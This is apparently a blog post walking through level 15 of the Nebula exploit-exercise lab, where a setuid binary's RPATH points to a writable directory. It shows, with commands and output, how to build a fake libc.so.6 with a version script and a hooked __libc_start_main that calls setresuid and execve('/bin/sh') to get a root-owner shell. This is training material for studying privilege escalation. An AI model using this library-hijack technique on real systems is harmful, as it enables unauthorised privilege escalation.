Sunday, October 21, 2012

Exploit Exercise - RPATH Vulnerability

Level 15 of nebula has a binary whose RPATH entry is pointing to /var/tmp/flag15. When a shared object dependency is first searched in the directories given by RPATH in binary, LD_LIBRARY_PATH environment variable and finally the dynamic linker looks into /usr/lib. To solve this level we have to create a fake libc.so.6 library in the specified RPATH location and hook some function call. LD_LIBRARY_PATH cannot be used as the dynamic linker ignores it for setuid/setgid programs.
level15@nebula:/home/flag15$ readelf -d flag15 | egrep "NEEDED|RPATH"
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000f (RPATH)                      Library rpath: [/var/tmp/flag15]

level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x0068c000)
 libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x005bb000)
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
level15@nebula:/home/flag15$ ldd ./flag15 
 linux-gate.so.1 =>  (0x005b0000)
 libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
 /lib/ld-linux.so.2 (0x00737000)
As we can see libc.so.6 is now taken from /var/tmp/flag15/ . Creating a fake libc.so.6 library needs some fine tuning, Ulrich Drepper's paper on "How to write Shared Libraries" served as excellent reading material for me. For debugging purpose I made a copy of flag15, this binary will not have setuid bit and thus enables us to use LD_DEBUG variable.
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15 
     19630: 
     19630: file=libc.so.6 [0];  needed by ./flag15 [0]
     19630: find library=libc.so.6 [0]; searching
     19630:  search path=/var/tmp/flag15/tls/i686/sse2/cmov:/var/tmp/flag15/tls/i686/sse2:/var/tmp/flag15/tls/i686/cmov:/var/tmp/flag15/tls/i686:/var/tmp/flag15/tls/sse2/cmov:/var/tmp/flag15/tls/sse2:/var/tmp/flag15/tls/cmov:/var/tmp/flag15/tls:/var/tmp/flag15/i686/sse2/cmov:/var/tmp/flag15/i686/sse2:/var/tmp/flag15/i686/cmov:/var/tmp/flag15/i686:/var/tmp/flag15/sse2/cmov:/var/tmp/flag15/sse2:/var/tmp/flag15/cmov:/var/tmp/flag15  (RPATH from file ./flag15)
     19630:   trying file=/var/tmp/flag15/tls/i686/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/i686/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/tls/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/i686/libc.so.6
     19630:   trying file=/var/tmp/flag15/sse2/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/sse2/libc.so.6
     19630:   trying file=/var/tmp/flag15/cmov/libc.so.6
     19630:   trying file=/var/tmp/flag15/libc.so.6
     19630:  search cache=/etc/ld.so.cache
     19630:   trying file=/lib/i386-linux-gnu/libc.so.6
strace will also reveal information regarding this. So now lets start building our libc.so.6. Generally shared objects are compiled with -shared -fPIC position independent code. But we need little more than that, also we should know which function call to hook. First, I was planning to hook puts() but as it progressed __libc_start_main() seemed to be the better way. But it took me sometime to get there.
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
#####################################################################################
20105: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
20105: /var/tmp/flag15/libc.so.6: error: version lookup error: no version information available (required by ./flag15)
The first thing we have to deal with is versioning. Ulrich Drepper's ELF symbol versioning gives information regarding this.
level15@nebula:/var/tmp/flag15$ readelf -V flag15 

Version symbols section '.gnu.version' contains 5 entries:
 Addr: 0000000008048276  Offset: 0x000276  Link: 5 (.dynsym)
  000:   0 (*local*)       2 (GLIBC_2.0)     0 (*local*)       2 (GLIBC_2.0)  
  004:   1 (*global*)   

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x0000000008048280  Offset: 0x000280  Link: 6 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.0  Flags: none  Version: 2

#######################################################################################

Symbol table '.dynsym' contains 5 entries:
   Num:    Value  Size Type    Bind   Vis      Ndx Name
     0: 00000000     0 NOTYPE  LOCAL  DEFAULT  UND 
     1: 00000000     0 FUNC    GLOBAL DEFAULT  UND puts@GLIBC_2.0 (2)
     2: 00000000     0 NOTYPE  WEAK   DEFAULT  UND __gmon_start__
     3: 00000000     0 FUNC    GLOBAL DEFAULT  UND __libc_start_main@GLIBC_2.0 (2)
     4: 080484cc     4 OBJECT  GLOBAL DEFAULT   15 _IO_stdin_used

We have to create a version file and recompile our library. 
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -Wl,--version-script=version  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
#########################################################################################
20414: checking for version `GLIBC_2.0' in file /var/tmp/flag15/libc.so.6 [0] required by file ./flag15 [0]
20414: checking for version `GLIBC_2.1.3' in file /var/tmp/flag15/libc.so.6 [0] required by file /var/tmp/flag15/libc.so.6 [0]
20414: /var/tmp/flag15/libc.so.6: error: version lookup error: version `GLIBC_2.1.3' not found (required by /var/tmp/flag15/libc.so.6)
We get another version lookup error. GLIBC_2.1.3 is no where found in flag15 binary. The libc.so.6 is built dynamically, so our version of libc.so.6 actually tries to refer to another libc.so.6 in /lib/i386-linux-gnu/. This fails because shared library is loaded only once even if referenced multiple times. So the idea is to build our version of libc.so.6 statically.
level15@nebula:/var/tmp/flag15$ readelf -V libc.so.6 

Version symbols section '.gnu.version' contains 10 entries:
 Addr: 000000000000028c  Offset: 0x00028c  Link: 3 (.dynsym)
  000:   0 (*local*)       3 (GLIBC_2.1.3)   0 (*local*)       0 (*local*)    
  004:   1 (*global*)      1 (*global*)      2 (GLIBC_2.0)     1 (*global*)   
  008:   1 (*global*)      1 (*global*)   

Version definition section '.gnu.version_d' contains 2 entries:
  Addr: 0x00000000000002a0  Offset: 0x0002a0  Link: 4 (.dynstr)
  000000: Rev: 1  Flags: BASE   Index: 1  Cnt: 1  Name: libc.so.6
  0x001c: Rev: 1  Flags: WEAK   Index: 2  Cnt: 1  Name: GLIBC_2.0

Version needs section '.gnu.version_r' contains 1 entries:
 Addr: 0x00000000000002d8  Offset: 0x0002d8  Link: 4 (.dynstr)
  000000: Version: 1  File: libc.so.6  Cnt: 1
  0x0010:   Name: GLIBC_2.1.3  Flags: none  Version: 3

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ LD_DEBUG=all ./flag15
     20486: symbol=__libc_start_main;  lookup in file=./flag15 [0]
     20486: symbol=__libc_start_main;  lookup in file=/var/tmp/flag15/libc.so.6 [0]
     20486: ./flag15: error: relocation error: symbol __libc_start_main, version GLIBC_2.0 not defined in file libc.so.6 with link time    reference (fatal)
Ok, So we will define our own version of __libc_start_main() and check how it works
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 return 0;
}
level15@nebula:/var/tmp/flag15$ cat version
GLIBC_2.0{
global:__libc_start_main;
local: *;
};
level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/var/tmp/flag15$ ./flag15 
Segmentation fault
level15@nebula:/var/tmp/flag15$ ulimit -c unlimited
level15@nebula:/var/tmp/flag15$ ./flag15 
Segmentation fault (core dumped)
level15@nebula:/var/tmp/flag15$ gdb -q ./flag15 core 
Reading symbols from /var/tmp/flag15/flag15...(no debugging symbols found)...done.
[New LWP 20557]

warning: Can't read pathname for load map: Input/output error.
Core was generated by `./flag15'.
Program terminated with signal 11, Segmentation fault.
#0  0x08048369 in _start ()
(gdb) x/i $eip
=> 0x8048369 <_start+33>: hlt

level15@nebula:/var/tmp/flag15$ objdump -d flag15
8048348 <_start>:
 8048348: 31 ed                 xor    %ebp,%ebp
 804834a: 5e                    pop    %esi
 804834b: 89 e1                 mov    %esp,%ecx
 804834d: 83 e4 f0              and    $0xfffffff0,%esp
 8048350: 50                    push   %eax
 8048351: 54                    push   %esp
 8048352: 52                    push   %edx
 8048353: 68 70 84 04 08        push   $0x8048470
 8048358: 68 00 84 04 08        push   $0x8048400
 804835d: 51                    push   %ecx
 804835e: 56                    push   %esi
 804835f: 68 30 83 04 08        push   $0x8048330
 8048364: e8 b7 ff ff ff        call   8048320 <__libc_start_main@plt>
 8048369: f4                    hlt    
 804836a: 90                    nop
 804836b: 90                    nop
 804836c: 90                    nop
 804836d: 90                    nop
 804836e: 90                    nop
 804836f: 90                    nop
We have returned from our __libc_start_main() at hit the hlt statement in _start. So lets write the final code to get the shell.
level15@nebula:/var/tmp/flag15$ cat libc.c
#include<stdlib.h>
#define SHELL "/bin/sh"

int __libc_start_main(int (*main) (int, char **, char **), int argc, char ** ubp_av, void (*init) (void), void (*fini) (void), void (*rtld_fini) (void), void (* stack_end))
{
 char *file = SHELL;
 char *argv[] = {SHELL,0};
 setresuid(geteuid(),geteuid(), geteuid());
 execve(file,argv,0);
}

level15@nebula:/var/tmp/flag15$ gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic  libc.c -o libc.so.6
level15@nebula:/home/flag15$ ./flag15 
sh-4.2$ id
uid=984(flag15) gid=1016(level15) groups=984(flag15),1016(level15)

No comments :

Post a Comment